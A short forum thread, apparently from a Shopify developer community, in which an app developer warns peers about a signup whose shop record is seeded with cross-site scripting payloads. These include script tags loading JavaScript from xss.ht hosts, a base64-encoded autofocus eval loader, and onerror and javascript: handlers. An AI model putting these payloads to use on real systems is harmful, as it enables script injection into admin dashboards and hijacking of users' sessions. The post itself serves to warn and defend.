Beware of phishing/javascript injection stores

[Claire222]

Hi,
I noticed a fake/fraud store that signed up to our app, please see their shop_email, name, and address. I think this can cause problems for some of Shopify's partners. Beware...

shopify_domain: "testtesttesttts.myshopify.com",
domain: "testtesttesttts.myshopify.com",
shop_email: "testtesttestt<script>$.getScript(\"//darkwayg.xss.ht\")</script>@gmail.com",
customer_email: "testtesttestt<script>$.getScript(\"//darkwayg.xss.ht\")</script>@gmail.com",
name: "javascript&colon;alert(1);//",
state: "",
country_code: "VN",
country_name: "Vietnam",
address1: "faaff",
address2: "\"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vYnVnY3Jvd2R0ZXN0dGVzdHQueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw&#61;&#61; autofocus><img src=x onerror=prompt()>",
zip: "12312",
city: "s",
phone: "0776226161",
currency: "VND",
timezone: "Asia/Phnom_Penh",
shop_created_at: 2020-08-21 10:34:21 UTC,
owner_name: "vcsda dsavcsda",
shopify_plan_name: "trial"

[Jivan_Suhagiya]

Thank you for sharing important information!
Shopify need to add validation for safety purpose